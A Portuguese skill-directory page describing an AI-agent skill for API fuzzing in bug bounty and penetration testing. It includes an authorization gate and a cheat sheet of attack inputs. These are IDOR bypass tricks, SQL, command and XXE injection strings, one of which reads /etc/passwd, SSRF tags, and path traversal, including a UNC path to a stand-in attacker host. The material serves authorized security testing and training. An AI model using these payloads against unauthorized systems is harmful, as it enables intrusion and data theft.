Pular para o conteúdo
Skillpedia
APIs e servidores (backend)48 mil · #2159

api-fuzzing-bug-bounty

Ensina seu agente a testar APIs em busca de falhas de segurança. Ele usa técnicas avançadas para encontrar vulnerabilidades em diferentes tipos de APIs.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em APIs (interfaces que permitem que diferentes programas conversem entre si). Ela testa diferentes tipos de APIs (REST, SOAP, GraphQL) para descobrir vulnerabilidades.

Quando usar

  • ✓Ao testar a segurança de um site ou aplicativo.
  • ✓Ao procurar por 'bugs' em programas para ganhar recompensas (bug bounty).
  • ✓Em treinamentos de segurança para aprender sobre ataques a APIs.

Exemplo do que pedir para a IA

“Quero testar a segurança da API em 'meusite.com/api'. Tenho autorização para isso.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/api-fuzzing-bug-bounty/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/api-fuzzing-bug-bounty/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta tenta diferentes tipos de ataques, como tentar acessar dados que não deveria, burlar logins ou injetar comandos maliciosos. Ela verifica se a API reage de forma inesperada a essas tentativas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill api-fuzzing-bug-bounty

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/api-fuzzing-bug-bounty/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade destina-se apenas a fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.

Fuzzing de API para Caça a Bugs

Propósito

Fornecer técnicas abrangentes para testar APIs REST, SOAP e GraphQL durante atividades de caça a bugs e testes de penetração. Abrange descoberta de vulnerabilidades, bypass de autenticação, exploração de IDOR e vetores de ataque específicos de API.

Entradas/Pré-requisitos

  • Burp Suite ou ferramenta proxy similar
  • Listas de palavras para API (SecLists, api_wordlist)
  • Compreensão dos protocolos REST/GraphQL/SOAP
  • Python para scripting
  • Endpoints da API alvo e documentação (se disponível)

Saídas/Entregáveis

  • Vulnerabilidades de API identificadas
  • Provas de exploração de IDOR
  • Técnicas de bypass de autenticação
  • Pontos de injeção SQL
  • Documentação de acesso não autorizado a dados

Visão Geral dos Tipos de API

Tipo Protocolo Formato de Dados Estrutura
SOAP HTTP XML Cabeçalho + Corpo
REST HTTP JSON/XML/URL Endpoints definidos
GraphQL HTTP Consulta personalizada Endpoint único

Fluxo de Trabalho Principal

Etapa 1: Reconhecimento de API

Identifique o tipo de API e enumere os endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Etapa 2: Teste de Autenticação

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Etapa 3: Teste de IDOR

Insecure Direct Object Reference é a vulnerabilidade de API mais comum:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

Técnicas de Bypass de IDOR:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Etapa 4: Teste de Injeção

Injeção SQL em JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Injeção de Comando:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

Injeção XXE:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

Vulnerabilidade .NET Path.Combine:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Etapa 5: Teste de Métodos

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

Testes Específicos de GraphQL

…

Perguntas frequentes

O que é uma API?

API é como um garçom em um restaurante. Você (um programa) faz um pedido (dados ou ação), o garçom leva para a cozinha (outro programa ou servidor) e traz a resposta de volta para você.

O que é 'bug bounty'?

É um programa onde empresas oferecem recompensas em dinheiro para quem encontrar e reportar falhas de segurança em seus sistemas.

Preciso de permissão para usar esta ferramenta?

Sim, absolutamente. Você só pode usar esta ferramenta em sistemas para os quais tem permissão explícita e por escrito. Usá-la sem permissão é ilegal.

Detalhes

Descrição original do autor

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#2159
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas